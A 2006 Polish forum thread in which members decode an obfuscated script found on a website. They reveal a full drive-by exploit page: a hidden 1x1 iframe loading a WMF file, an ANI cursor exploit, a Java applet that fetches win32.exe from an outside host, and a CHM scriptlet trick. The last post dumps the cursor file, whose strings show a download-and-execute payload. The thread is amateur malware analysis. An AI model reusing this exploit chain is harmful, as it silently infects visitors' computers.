jak to rozkodowac - javascript

kamilet · Luty 18, 2006

tak jak w teamcie jak to rozkodowac albo jak zrobic zebym widzial co jest w tym kodziue

<script language="javascript" type="text/javascript" src="http://update.windowload.com/js/ac79a17a/a676aa75f7.js"></script>
<script language="javascript" type="text/javascript">self.focus();</script>

Hunter · Luty 18, 2006

co tu jest do "rozkodowania" ? :?

FDJ · Luty 18, 2006

raczej chce widziec co jest w plikach .js

http://update.windowload.com/js/ac79a17a/a676aa75f7.js

Hunter · Luty 18, 2006

a co za problem pobrac plik.js ? :?

kamilet · Luty 18, 2006

javascript cos tam sie jeszcze ukrywa wiem o tym.

Hunter · Luty 18, 2006

albo z braku snu nie potrafie "ciebie" zrozumiec albo "ty" masz male pojecie o skryptach javy :?

kamilet · Luty 18, 2006

zgadles nie znam sie na skryptach java script chcialbym tylko zeby ktos to rozszyfrowal i mi napisal w poscie

nick963 · Luty 21, 2006

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><script language="javascript" type="text/javascript">
document.write(unescape("%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%73%63%72%69%70%74%3e%0d%0a%66%75%6e%63%74%69%6f%6e%20%63%6c%72%73%74"));
document.write(unescape("%61%74%28%29%7b%20%70%61%72%65%6e%74%2e%73%74%61%74%75%73%20%3d%20%22%22%3b%7d%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c"));
document.write(unescape("%2f%68%65%61%64%3e%0d%0a%0d%0a%3c%62%6f%64%79%20%6c%61%6e%67%3d%45%4e%2d%55%53%20%6c%69%6e%6b%3d%62%6c%75%65%20%76%6c%69"));
document.write(unescape("%6e%6b%3d%70%75%72%70%6c%65%20%73%74%79%6c%65%3d%27%74%61%62%2d%69%6e%74%65%72%76%61%6c%3a%2e%35%69%6e%27%3e%0d%0a%4c%6f"));
document.write(unescape("%61%64%69%6e%67%20%70%6c%65%61%73%65%20%77%61%69%74%20%2e%2e%2e%0d%0a%20%20%3c%49%46%52%41%4d%45%20%73%72%63%3d%22%78%70"));
document.write(unescape("%6c%2e%77%6d%66%22%0d%0a%20%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%31%20%76%73%70%61%63%65%3d%31%20%68%73%70%61%63%65%3d"));
document.write(unescape("%31%20%6d%61%72%67%69%6e%77%69%64%74%68%3d%31%20%6d%61%72%67%69%6e%68%65%69%67%68%74%3d%31%20%77%69%64%74%68%3d%31%20%68"));
document.write(unescape("%65%69%67%68%74%3d%31%20%73%63%72%6f%6c%6c%69%6e%67%3d%6e%6f%3e%0d%0a%20%20%3c%2f%49%46%52%41%4d%45%3e%0d%0a%0d%0a%3c%2f"));
document.write(unescape("%62%6f%64%79%3e%0d%0a%3c%73%74%79%6c%65%3e%0d%0a%2a%20%7b%43%55%52%53%4f%52%3a%20%75%72%6c%28%22%68%74%74%70%3a%2f%2f%67"));
document.write(unescape("%61%6d%65%34%61%6c%6c%2e%62%69%7a%2f%61%64%76%2f%31%32%31%2f%73%70%6c%6f%69%74%2e%61%6e%72%22%29%7d%0d%0a%3c%2f%73%74%79"));
document.write(unescape("%6c%65%3e%0d%0a%3c%41%50%50%4c%45%54%20%41%52%43%48%49%56%45%3d%27%63%6f%75%6e%74%2e%6a%61%72%27%20%43%4f%44%45%3d%27%42"));
document.write(unescape("%6c%61%63%6b%42%6f%78%2e%63%6c%61%73%73%27%20%57%49%44%54%48%3d%31%20%48%45%49%47%48%54%3d%31%3e%0d%0a%3c%50%41%52%41%4d"));
document.write(unescape("%20%4e%41%4d%45%3d%27%75%72%6c%27%20%56%41%4c%55%45%3d%27%68%74%74%70%3a%2f%2f%67%61%6d%65%34%61%6c%6c%2e%62%69%7a%2f%61"));
document.write(unescape("%64%76%2f%31%32%31%2f%77%69%6e%33%32%2e%65%78%65%27%3e%3c%2f%41%50%50%4c%45%54%3e%0d%0a%3c%73%63%72%69%70%74%3e%0d%0a%74"));
document.write(unescape("%72%79%7b%0d%0a%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%60%26%23%31%30%39"));
document.write(unescape("%26%23%31%31%35%26%23%34%35%26%23%31%30%35%26%23%31%31%36%26%23%31%31%35%26%23%35%38%26%23%31%30%39%26%23%31%30%34%26%23"));
document.write(unescape("%31%31%36%26%23%31%30%39%26%23%31%30%38%26%23%35%38%26%23%31%30%32%26%23%31%30%35%26%23%31%30%38%26%23%31%30%31%26%23%35"));
document.write(unescape("%38%26%23%34%37%26%23%34%37%26%23%36%37%26%23%35%38%26%23%39%32%26%23%31%30%32%3b%6f%27%2b%27%6f%2e%6d%68%74%21%27%2b%27"));
document.write(unescape("%68%74%74%70%3a%2f%2f%67%61%6d%65%34%61%6c%6c%2e%62%69%7a%2f%2f%61%64%76%2f%2f%31%32%31%2f%2f%74%61%72%67%2e%63%68%27%2b"));
document.write(unescape("%27%6d%3a%3a%2f%74%61%72%67%27%2b%27%65%74%2e%68%74%6d%60%20%74%79%70%65%3d%60%74%65%78%74%2f%78%2d%73%63%72%69%70%74%6c"));
document.write(unescape("%65%74%60%3e%3c%2f%6f%62%27%2b%27%6a%65%63%74%3e%27%29%3b%0d%0a%7d%63%61%74%63%68%28%65%29%7b%7d%0d%0a%3c%2f%73%63%72%69"));
document.write(unescape("%70%74%3e%0d%0a%3c%2f%68%74%6d%6c%3e"));
</script>

<script>
function clrstat(){ parent.status = "";}
</script>
<style>
* {CURSOR: url("http://game4all.biz/adv/121/sploit.anr")}
</style></head>
<noscript>This page uses Javascript</noscript>
<body style="" lang="EN-US" link="blue" vlink="purple">
Loading please wait ...
<iframe src="new.php/xpl.htm" vspace="1" hspace="1" marginwidth="1" marginheight="1" frameborder="1" height="1" scrolling="no" width="1">
</iframe>

<applet archive="count.jar" code="BlackBox.class" height="1" width="1">
<param name="url" value="http://game4all.biz/adv/121/win32.exe"></applet>
<script>
try{
document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58&#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58&#47&#47&#67&#58&#92fo'+'o.mht!'+'http://game4all.biz//adv//121//targ.ch'+'m::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>');
}catch(e){}
</script><object data="new.php/target.htm" type="`text/x-scriptlet`"></object>
</body></html>

to rozkodujcie

FDJ · Luty 21, 2006

po co to dales ?? nie mogl se zobaczyc ??

Hunter · Luty 21, 2006

nick podaj caly kod =)
co chcesz zdzialac z jej czastka ^^

nick963 · Luty 22, 2006

plik xpl=
<html><head></head><body></body></html>

plik target=
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL /121/`ms-its:mhtml:file://C:foo.mht!http://game4all.biz//adv//121//targ.chm::/target.htm` was not found on this server.

</BODY></HTML>

Hunter · Luty 22, 2006

nadal nie wszystko
ps. badz tak "fajny" i podaj wszystko w 1 poscie =)

nick963 · Luty 22, 2006

to wszystko na bank

kamilet · Luty 23, 2006

hah mowilem ze tam cos jest javascript cos zawsze ukrywa

dzieki ziom

a umialbys to rozkodowac:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><script language="javascript" type="text/javascript">
document.write(unescape("%3c%68%74%6d%6c%3e%0d%0a%3c%68%65%61%64%3e%0d%0a%3c%73%63%72%69%70%74%3e%0d%0a%66%75%6e%63%74%69%6f%6e%20%63%6c%72%73%74"));
document.write(unescape("%61%74%28%29%7b%20%70%61%72%65%6e%74%2e%73%74%61%74%75%73%20%3d%20%22%22%3b%7d%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%3c"));
document.write(unescape("%2f%68%65%61%64%3e%0d%0a%0d%0a%3c%62%6f%64%79%20%6c%61%6e%67%3d%45%4e%2d%55%53%20%6c%69%6e%6b%3d%62%6c%75%65%20%76%6c%69"));
document.write(unescape("%6e%6b%3d%70%75%72%70%6c%65%20%73%74%79%6c%65%3d%27%74%61%62%2d%69%6e%74%65%72%76%61%6c%3a%2e%35%69%6e%27%3e%0d%0a%4c%6f"));
document.write(unescape("%61%64%69%6e%67%20%70%6c%65%61%73%65%20%77%61%69%74%20%2e%2e%2e%0d%0a%20%20%3c%49%46%52%41%4d%45%20%73%72%63%3d%22%78%70"));
document.write(unescape("%6c%2e%77%6d%66%22%0d%0a%20%20%66%72%61%6d%65%62%6f%72%64%65%72%3d%31%20%76%73%70%61%63%65%3d%31%20%68%73%70%61%63%65%3d"));
document.write(unescape("%31%20%6d%61%72%67%69%6e%77%69%64%74%68%3d%31%20%6d%61%72%67%69%6e%68%65%69%67%68%74%3d%31%20%77%69%64%74%68%3d%31%20%68"));
document.write(unescape("%65%69%67%68%74%3d%31%20%73%63%72%6f%6c%6c%69%6e%67%3d%6e%6f%3e%0d%0a%20%20%3c%2f%49%46%52%41%4d%45%3e%0d%0a%0d%0a%3c%2f"));
document.write(unescape("%62%6f%64%79%3e%0d%0a%3c%73%74%79%6c%65%3e%0d%0a%2a%20%7b%43%55%52%53%4f%52%3a%20%75%72%6c%28%22%68%74%74%70%3a%2f%2f%67"));
document.write(unescape("%61%6d%65%34%61%6c%6c%2e%62%69%7a%2f%61%64%76%2f%31%32%31%2f%73%70%6c%6f%69%74%2e%61%6e%72%22%29%7d%0d%0a%3c%2f%73%74%79"));
document.write(unescape("%6c%65%3e%0d%0a%3c%41%50%50%4c%45%54%20%41%52%43%48%49%56%45%3d%27%63%6f%75%6e%74%2e%6a%61%72%27%20%43%4f%44%45%3d%27%42"));
document.write(unescape("%6c%61%63%6b%42%6f%78%2e%63%6c%61%73%73%27%20%57%49%44%54%48%3d%31%20%48%45%49%47%48%54%3d%31%3e%0d%0a%3c%50%41%52%41%4d"));
document.write(unescape("%20%4e%41%4d%45%3d%27%75%72%6c%27%20%56%41%4c%55%45%3d%27%68%74%74%70%3a%2f%2f%67%61%6d%65%34%61%6c%6c%2e%62%69%7a%2f%61"));
document.write(unescape("%64%76%2f%31%32%31%2f%77%69%6e%33%32%2e%65%78%65%27%3e%3c%2f%41%50%50%4c%45%54%3e%0d%0a%3c%73%63%72%69%70%74%3e%0d%0a%74"));
document.write(unescape("%72%79%7b%0d%0a%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%6f%62%6a%65%63%74%20%64%61%74%61%3d%60%26%23%31%30%39"));
document.write(unescape("%26%23%31%31%35%26%23%34%35%26%23%31%30%35%26%23%31%31%36%26%23%31%31%35%26%23%35%38%26%23%31%30%39%26%23%31%30%34%26%23"));
document.write(unescape("%31%31%36%26%23%31%30%39%26%23%31%30%38%26%23%35%38%26%23%31%30%32%26%23%31%30%35%26%23%31%30%38%26%23%31%30%31%26%23%35"));
document.write(unescape("%38%26%23%34%37%26%23%34%37%26%23%36%37%26%23%35%38%26%23%39%32%26%23%31%30%32%3b%6f%27%2b%27%6f%2e%6d%68%74%21%27%2b%27"));
document.write(unescape("%68%74%74%70%3a%2f%2f%67%61%6d%65%34%61%6c%6c%2e%62%69%7a%2f%2f%61%64%76%2f%2f%31%32%31%2f%2f%74%61%72%67%2e%63%68%27%2b"));
document.write(unescape("%27%6d%3a%3a%2f%74%61%72%67%27%2b%27%65%74%2e%68%74%6d%60%20%74%79%70%65%3d%60%74%65%78%74%2f%78%2d%73%63%72%69%70%74%6c"));
document.write(unescape("%65%74%60%3e%3c%2f%6f%62%27%2b%27%6a%65%63%74%3e%27%29%3b%0d%0a%7d%63%61%74%63%68%28%65%29%7b%7d%0d%0a%3c%2f%73%63%72%69"));
document.write(unescape("%70%74%3e%0d%0a%3c%2f%68%74%6d%6c%3e"));
</script>

b4rt3kk · Luty 24, 2006

<html>
<head>
<script language="javascript" type="text/javascript">
document.write("<html> <head> <script> function clrst");
document.write("at(){ parent.status = "";} </script> <");
document.write("/head> <body lang=EN-US link=blue vli");
document.write("nk=purple style='tab-interval:.5in'> Lo");
document.write("ading please wait ... <IFRAME src="xp");
document.write("l.wmf" frameborder=1 vspace=1 hspace=");
document.write("1 marginwidth=1 marginheight=1 width=1 h");
document.write("eight=1 scrolling=no> </IFRAME> </");
document.write("body> <style> * {CURSOR: url("http://g");
document.write("ame4all.biz/adv/121/sploit.anr")} </sty");
document.write("le> <APPLET ARCHIVE='count.jar' CODE='B");
document.write("lackBox.class' WIDTH=1 HEIGHT=1> <PARAM");
document.write(" NAME='url' VALUE='http://game4all.biz/a");
document.write("dv/121/win32.exe'></APPLET> <script> t");
document.write("ry{ document.write('<object data=`&#109");
document.write("&#115&#45&#105&#116&#115&#58&#109&#104&#");
document.write("116&#109&#108&#58&#102&#105&#108&#101&#5");
document.write("8&#47&#47&#67&#58&#92fo'+'o.mht!'+'");
document.write("http://game4all.biz//adv//121//targ.ch'+");
document.write("'m::/targ'+'et.htm` type=`text/x-scriptl");
document.write("et`></ob'+'ject>'); }catch(e){} </scri");
document.write("pt> </html>");
</script>

kamilet · Luty 25, 2006

Spojrzcie co tam nzalazlem w tym kodzie:
[/

http://game4all.biz/adv/121/sploit.anr[/b]

sciagnolem ten plik i otowrzylem go przy pomocy notatnika i pisze tam:

RIFFś ACONanih| $ w‚@ ëdw‚@ ëdëTw‚@ ëTw‚@ ëDw‚@ ëDw‚@ ë4w‚@ ë4w‚@ ë$w‚@ ë$w‚@ ëw‚@ ëw‚@ w‚@ č ]í@ č{ h˙ ŤŤ™@ QŤ…?@ čÍ Ťľ™@ ĆÇslxÇF.exeŤŤS@ QŤ…2@ č¦ ŤŤ^@ QPŤ…#@ č“ j j ŤŤ™@ QŤŤy@ Qj ˙Đj ŤŤ™@ QŤ…q@ či `d‹0 ‹[‹[‹‹[‰Ú‹{<×‰•@ _x‹K‹s ‹{$Ö×üĐQW–Ť˝#@ ą ó¦–_YtGGâäë1Ŕf‹Áŕ‹sÖĆĐ‰…@ aĂP˙ľ@ ˙•@ ˙ŕ GetProcAddress LoadLibraryA GetSystemDirectoryA urlmon.dll URLDownloadToFileA WinExec http://game4all.biz/adv/121/win32.exe

[/b]

ciekawe co ten win32.exe ma robic?

jak to rozkodowac - javascript

kamilet

Użytkownik

Hunter

Użytkownik

FDJ

Były Moderator

Hunter

Użytkownik

kamilet

Użytkownik

Hunter

Użytkownik

kamilet

Użytkownik

nick963

Użytkownik

FDJ

Były Moderator

Hunter

Użytkownik

nick963

Użytkownik

Hunter

Użytkownik

nick963

Użytkownik

kamilet

Użytkownik

b4rt3kk

Użytkownik

kamilet

Użytkownik